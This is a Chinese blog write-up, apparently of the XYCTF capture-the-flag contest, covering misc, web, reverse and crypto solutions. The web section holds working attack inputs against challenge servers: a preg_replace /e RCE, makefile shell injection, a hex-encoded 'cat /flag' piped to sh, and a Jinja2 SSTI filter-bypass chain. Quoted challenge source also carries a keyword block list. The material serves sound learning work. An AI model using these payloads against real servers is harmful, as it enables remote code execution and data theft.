xyctf部分wp

XYCTF WP

最终结果

在这里插入图片描述

又是被队友带飞的一天,真好,这里是我的misc和web,以及队友的一些reverse wp

还是学到了很多,入门了misc,见识到了自己的web有多菜

misc

game

在这里插入图片描述

谷歌搜图即可得出 Paper,Please

熊博士

压缩包里发现这个

CBXGU{ORF_BV_NVR_BLF_CRZL_QQ}

由于有{},感觉可以通过这个解密出flag,而且感觉是简单的替换加密,ciphey 跑一下就出了

在这里插入图片描述

最后根据提示换一下大小写即可

二维码

给了一个被修改的二维码,和修改二维码的py脚本,审计脚本关键部分可知:

while count < 7:
    x = random.randint(0, 1)
    if x == 0:
        reverse_col_colors(pixels, random.randint(0, height // 10 - 1), height)
    else:
        reverse_row_colors(pixels, random.randint(0, width // 10 - 1), width)
    count += 1

总共修改7次,随机改二维码的某些行或列,要做出这题,需要对二维码的结构有基本的了解

在这里插入图片描述

题目给的二维码:

在这里插入图片描述

很明显三个定位标志都是错的,所以先修复定位标志,直接使用给的脚本即可,修改一下:

根据题目给的脚本,可以发现用0-24就可以定位到二维码的行或列

# 修复三个角:定位标志
# 修复第一列
reverse_col_colors(pixels, 0, height)
# 修复第二行
reverse_row_colors(pixels, 1, width)
# 修复第二,第五列
reverse_col_colors(pixels, 2, height)
reverse_col_colors(pixels, 5, height)

改完之后,是这样,

在这里插入图片描述

观察到定时标志区并不符合二维码结构,于是修补

reverse_col_colors(pixels, 10, height)
reverse_col_colors(pixels, 11, height)
reverse_row_colors(pixels, 12, width)

在这里插入图片描述

扫描,得到flag:

flag{qR_c0d3_1s_s0_fun}

zzl的护理小课堂

点开后,发现是回答问题,根据经验就算全对也没有flag,感觉关键在js代码,查看一下即可发现:

在这里插入图片描述

果然如此,控制台重写这个方法,重新访问即可

在这里插入图片描述

ez_隐写

一开时的压缩包是伪加密,用winrar修复后就可以打开了,Zipopenzar失败了,应该是只能去掉,里面只有一个文件的伪加密

解压后,里面是一个打不开的png,和一个压缩包,这个压缩包发现的是真加密,png的考点,感觉是宽高不对导致crc校验失败,用tweakpng打开试试,

在这里插入图片描述

果然,用脚本爆破出正确的宽高:

import os
import binascii
import struct

crcbp = open("formost.png", "rb").read()    #打开图片
for i in range(10000):
    for j in range(10000):
        data = crcbp[12:16] + \
            struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
        crc32 = binascii.crc32(data) & 0xffffffff
        if(crc32 == 0xa799029a):    #图片当前CRC
            print(i, j)
            print('hex:', hex(i), hex(j))

一开时就设置了2000导致没爆出来,得设大点的范围

在这里插入图片描述

010修改图片的宽高

在这里插入图片描述

修改完,打开图片提示压缩包密码为开赛日期:20240401

解压,里面是个图片,图片提示盲水印,用watermarkH提取即可,

在这里插入图片描述

得到flag

zip神之套

压缩包有一个exe,和真加密压缩包,把exe用ida打开一看,

在这里插入图片描述

感觉就是压缩包的密码,?明显是提示用掩码跑,结果用数字跑一下就出了密码:20240401

解压后发现里面又有两个压缩包,其中一个有flag.md和很多其他文件并且被加密,另外一个没加密,里面的文件是前者压缩包的内容除了flag,

明显是明文攻击,用工具zipchr跑一下,虽然没跑出密码,但是保存后新的zip是可以打开的

在这里插入图片描述

拿到flag

出题有点烦

外层压缩包,真加密,但密码是123456

解压后5张图片,用foremost逐个尝试,从5.png分离出一个压缩包,真加密,发现里的文件名是xy@ct$f ,于是尝试密码xyctf,成功解压得到flag

在这里插入图片描述

真>签到

发现打不开这个压缩包,010打开就发现了flag

osint1

把那个有个标语的图片放百度上搜图,发现小红书有个博主的帖子里有一样的图片,博主说是江苏南通海安最东边海岸边,打开高德地图,一直往东边找,

发现就是江苏省南通市滨海东路黄海,这个应该非预期,预期应该是从那个户外论坛里找哈哈

ezbase_1024*2

1024*2 就是2048,上网找个网站base2048解码即可,网址:https://nerdmosis.com/tools/encode-and-decode-base2048

在这里插入图片描述

美妙的歌声

音频隐写,打开听见刺耳的声音,感觉频谱或波谱隐写,使用audacity打开波形图没发现什么端倪,打开频谱发现

在这里插入图片描述

有key,尝试用deepsound或silenttype工具解析一下,deepsound解出来了,密码是上面那串字符

在这里插入图片描述

又是个签到

本来毫无头绪,一直尝试把emoji解出来但是无果,但是在某个下午刷题时,遇到了aes-emoji加密,本来想对比一下,aes-emoji和emoji加密的区别,就在这时发现了

😫👗🙋👴👡🙁😯👏😲😯👣👗👡🙁😶😰🙎👐👖👥😯👤🙊👮🙍👕👙🙊😷😹😰😯👲👢😯👱👚👨😶👬👹👨👥😵🙊😳🙊😲🙋👔👳👏🙋👬👤👮😫👷🙇😲👪👢👸👴👷😷😵🙈🙅😫👬👬👒👨😴👧😽😽

这是另一道题的flag被emoji加密,密码随便设了一个,对比题目给的,发现结尾都有😽😽,感觉这个应该是最终的结果,于是果断放弃,尝试把另一个密文解出来

另一个的密文,拿去aes128,密钥是qq群号798794707(题目也提示在qq群里就能签到),就解出来了

!在这里插入图片描述

提示是Malbolge语言,找个网站在线运行一下,就出了flag,网站:https://malbolge.doleczek.pl/

在这里插入图片描述

一开始还不信这是flag,拿去解emoji但又解不出,尝试提交一下就对了,侥幸拿了三血,哈哈

web

web是我花心思比较多的,结果惨不忍睹,还得好好吸取经验总结才行

warmup

考察主要md5,弱类型比较吧

第一个很经典,找两个字符串加密后也是0e且后面纯数字即可(网上很多也可以自己跑),因为如果是0e34和0e35,在使用弱比较==时会被转为科学记数法,034 和 035结果都是0,自然相等

第二个,要求自己是0e,且md5后也是0e,

在这里插入图片描述

用脚本跑一下即可,

0e215962017
0e251288019

第三个XYCTF_550102591加密后也是0e且后面纯数字,用extarct变量覆盖一下即可

然后来到level2

if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
    echo "操作你O.o";
    echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level
} else {
    die("有点汗流浃背");
}

这里考察intval的漏洞,intval,直接转字符串会转为0,数字字母组合会把数字后面的字母都省略,如 intval(1a3)=1,但是这里ban了数字,这里可以传一个数组,intval转化后是1

preg_replace有rce漏洞,匹配模式是/e的话,会把替换的目标当作php代码执行

在这里插入图片描述

然后直接看flag就行

ezmake

不能直接执行命令,尝试使用makefile执行系统命令的写法就成功了

$(shell cat flag) 
XYCTF{53ee6882-6440-4f18-8c01-88f819a2a44d}

ez?makefile

能执行命令且有回显,有一定的过滤,测试发现过滤f|l|a|g|\?|\*|\;\$|\@但是没有忽略大小写

用十六进制写命令即可 ,f转成大写

echo "636174202F666c6167" | xxd -r -p|sh #cat /flag

ezhttp

常规的http协议考察,先尝试robots.txt,得到密码所在的文件,登录后按照要求,在bp改请求头即可,
要求本地登录,有很多字段,可以一个个试

复读机

前面有一个弱密码爆破,用题目的密码表搞出来是asdqwe

然后发现有个输入框,输入啥回显啥,输入{{回显,

在这里插入图片描述

十有八九考ssti,测一下过滤了啥

在这里插入图片描述

最重要的触发点{},{%%}都没了,好像弄不了,后面经过队友提示,题目说只能读英文,如果中文半角输入%%,再跟一个变量,后面的变量能触发ssti,如

在这里插入图片描述

其实事后一想,当你输入中文时,就可以看出一些端倪

在这里插入图片描述

既然找到了触发点,就该思考如何绕过黑名单,过滤了"" ,'',[,],_本来想用chr,结果发现_被ban了,后面发现可以attr+request参数逃逸绕过,payload:

%%lipsum|attr(request.args.golbals)|attr(request.args.getitem)(request.args.builtins)|attr(request.args.getitem)(request.args.import)(request.args.ab)|attr(request.args.popen)(request.args.cmd)|attr(request.args.read)()&golbals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&ab=os&popen=popen&cmd=cat /flag&read=read

在这里插入图片描述

最后看看题目源码:

from flask import *
import urllib.parse

app = Flask(__name__)
app.secret_key = 'lzlcnb'  # 设置会话密钥,用于加密会话数据
@app.route('/', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        # 进行登录验证逻辑,如验证用户名密码是否匹配等

        # 登录验证成功
        if username == 'admin' and password == 'asdqwe':
            session['username'] = username
            return redirect('/index')

    return render_template('login.html')


@app.route('/index')
def index():
    if 'username' in session:
        try:
            flag = 0
            word = request.args.get('sentence')

            balck_array = ['[', ']', '_', 'config', 'url_for', 'system', 'flag', 'file', 'os', '"', "'", 'cat', 'system', 'eval', 'more', 'tail', 'less', 'base64', 'file', 'nc', 'python', 'exec', '{', '}']
            for i in balck_array:
                if word != None and i in word:
                    word = "what are you doing, little hacker"
                    break
            if word is not None:
                for i in range(len(word)):
                    if ord(word[i]) > 128:
                        word = '{' + word[0:i] + word[i+1:] + '}'
                        flag += 1
            else:
                word = "what do you want to say"
            if flag:
                word = "我只能看懂你说的英文(>﹏<)" + word

            if "{{}}" in word:
                word = word.replace("{{}}", '{ {}}')
            html = '''
            <!DOCTYPE html>
            <html>
            <head>
                <title>我是一个复读机</title>
                <style>
                    body {{
                        font-family: Arial, sans-serif;
                        background-image: url('/static/yourname.jpg'); /* 替换 'background.jpg' 为您想要设置的背景图片路径 */
                        background-size: cover;
                        background-position: center;
                        margin: 0;
                        padding: 0;
                        display: flex;
                        justify-content: center;
                        align-items: center;
                        height: 100vh;
                    }}
                    form {{
                        background-color: rgba(255, 255, 255, 0.8);
                        padding: 20px;
                        border-radius: 8px;
                        box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
                        width: 800px;
                    }}
                    h2 {{
                        text-align: center;
                        color: #333;
                    }}
                    label {{
                        display: block;
                        margin-top: 10px;
                        color: #555;
                    }}
                    input[type="text"],
                    input[type="password"] {{
                        width: 100%;
                        padding: 8px;
                        margin-top: 4px;
                        border: 1px solid #ccc;
                        border-radius: 4px;
                        box-sizing: border-box;
                    }}
                    input[type="submit"] {{
                        width: 100%;
                        padding: 8px;
                        margin-top: 10px;
                        background-color: #007bff;
                        color: #fff;
                        border: none;
                        border-radius: 4px;
                        cursor: pointer;
                    }}
                    input[type="submit"]:hover {{
                        background-color: #0056b3;
                    }}
                </style>
            </head>
            <body>
                <form action="/index" method="get">
                    <h2>我的宝,你说什么我就说什么</h2>
                    <label for="sentence">你想说的话</label>
                    <input type="text" id="sentence" name="sentence" required>

                    <input type="submit" value="tell me">
                    <h2>{}</h2>
                </form>
            </body>
            </html>'''.format(word)

            return render_template_string(html)
        except Exception as e:
            return "出现了一点小问题"
    else:
        return redirect('/')


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=8080)

题目还开启了debug模式,可以用ssti找相关参数伪造pin码,控制台执行命令也行

givemeflag

考点:哈希长度拓展

题目直接给了flag的md5值,所以flag就感觉是salt了,正常的payload一般后面要加个东西(拓展字符),题目加的是时间戳,于是选个未来的时间戳即可,用脚本生成好后,在接近预定的时间前持续发送即可,

当然还需要知道flag的长度,flag里面长度固定,比赛公告里就提出flag头为flag或xyctf,所以就是42或43,尝试43就出了

在这里插入图片描述

时间戳题目会加,所以提交时去掉时间戳即可

在这里插入图片描述

ezmd5

要求两张不一样但是md5值相同的图片,上网找一下即可,地址:https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value

reverse

砸核桃

先看程序信息,进行手动脱壳

在这里插入图片描述

打上ESP断点

在这里插入图片描述

找到EOP使用自带的scylla进行dump,再使用IDA反编译,发现是简单的异或加密

在这里插入图片描述

py解密拿flag

在这里插入图片描述

ez_cube

题如其名,会魔方的话能很快做出来

阅读源代码是一个魔方模拟器,给定初始状态,通过转动恢复魔方

在这里插入图片描述

阅读源代码,确认每个面字符的存储方式,和转动规则

在这里插入图片描述

发现转动规则是黄顶红前,RU规则即为魔方转动规则(然后自以为ru也是默认的魔方规则,找半天没找到还原方法,结果ru指的是R’U’,给我坑惨了)

动态调试得到初始状态,发现是简单的三棱换

在这里插入图片描述

将R’U’替换为ru得到字符串即为flag

ezmath

判断是python程序,使用pyinstxtractor和uncompyle6反编译得到ezmath.py,

在这里插入图片描述

判断单个sum项为两个数字进行相乘

在这里插入图片描述

分析全部的项,发现有每一位字符ascii码的平方和项,然后又有每个字符与常数相乘后的相减项

发现常数都是偶数,根据提示可以想到对每个字符进行配方,导出正则匹配数据进行操作

在这里插入图片描述

得到flag

ez_enc

审计代码可知,只是一个简单的加密

在这里插入图片描述

这里对当前明文字符进行了模操作,损失了部分信息,所以要利用前一个明文推出后一个明文

明文猜测是XYCTF或者是flag开头,那么可以就此推出接下来的明文,不行就爆破,现尝试X开头,写脚本解密

在这里插入图片描述

结果

在这里插入图片描述

得到flag

何须相思煮余年

题目说没有代码,那么猜测给的十六进制字符串为机器码,

给的数据格式不太符合要求,写了一个转换函数

在这里插入图片描述

使用disasm.pro将转化十六进制字符串为汇编代码,分析一下

在这里插入图片描述

分析汇编代码,发现很像对数组下标模运算后执行不同的操作

写个简单的解码程序

在这里插入图片描述

在这里插入图片描述

crypto

sign签到

完全不会密码学,做个签到溜了,居然两个签到都是一样的代码,就是密文不同

给了加密代码

from Crypto.Util.number import *
from tqdm import *
import gmpy2
flag=b'XYCTF{uuid}'
flag=bytes_to_long(flag)
leak=bin(int(flag))
while 1:
    leak += "0"
    if len(leak) == 514:
        break

def swap_bits(input_str):
    input_list = list(input_str[2:])
    length = len(input_list)

    for i in range(length // 2):
        temp = input_list[i]
        input_list[i] = input_list[length - 1 - i]
        input_list[length - 1 - i] = temp

    return ''.join(input_list)

input_str = leak
result = swap_bits(input_str)
a=result

def custom_add(input_str):
    input_list = list(input_str)
    length = len(input_list)
    
    for i in range(length):
        input_list[i] = str((int(input_list[i]) + i + 1) % 10)

    result = ''.join(input_list)
    return result


input_str = a
result = custom_add(input_str)
b=result
print(b)
#12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567891134567789013445689902334577900134457889123356679911245578891223456890012346788901235667901134457889122355788001244568991123467780113445678012235578800134457889113356678011245567991223557880012445689911334677890134456799023355788001344568990223467789113445678912234577801123467889023346779902344578801233467789112355779912234577990233556780113

简单看一下,就是先把flag转为byte后,一直补0到514位,然后前后对调,最后转为列表,每一位加上自己的值加上索引对10取余,

写个脚本解密就行

import uuid
from Crypto.Util.number import *  # 导入处理数字的实用函数
import gmpy2
def custom_subtract(input_str):
    input_list = list(input_str)
    length = len(input_list)
    
    for i in range(length):
        input_list[i] = str((int(input_list[i]) +10-i-1 )%10 )
    result = ''.join(input_list)
    return result

def reverse_swap_bits(input_str):
    input_list = list(input_str)
    length = len(input_list)

    for i in range(length // 2):
        # 交换对称位置上的位
        temp = input_list[i]
        input_list[i] = input_list[length - 1 - i]
        input_list[length - 1 - i] = temp

    return ''.join(input_list)


b="12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567891134567789023445779912234567900123457889113346778011344577890233556890012355689901335667891124556799023355788001235578891223467789113445778012235578800133467889022356678001344567991223557880012355689902335667891134456789122355788001235568991233566780012455788912235677900134456899012356679911245578801233467789112355779912234577990233556780113"
res=custom_subtract(b)
res=reverse_swap_bits(res)
print(res)


解出来二进制数据,后面的很多个0都去掉,最前面再加上个0,拿到cyberchef就能解密,

在这里插入图片描述

  • 28
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值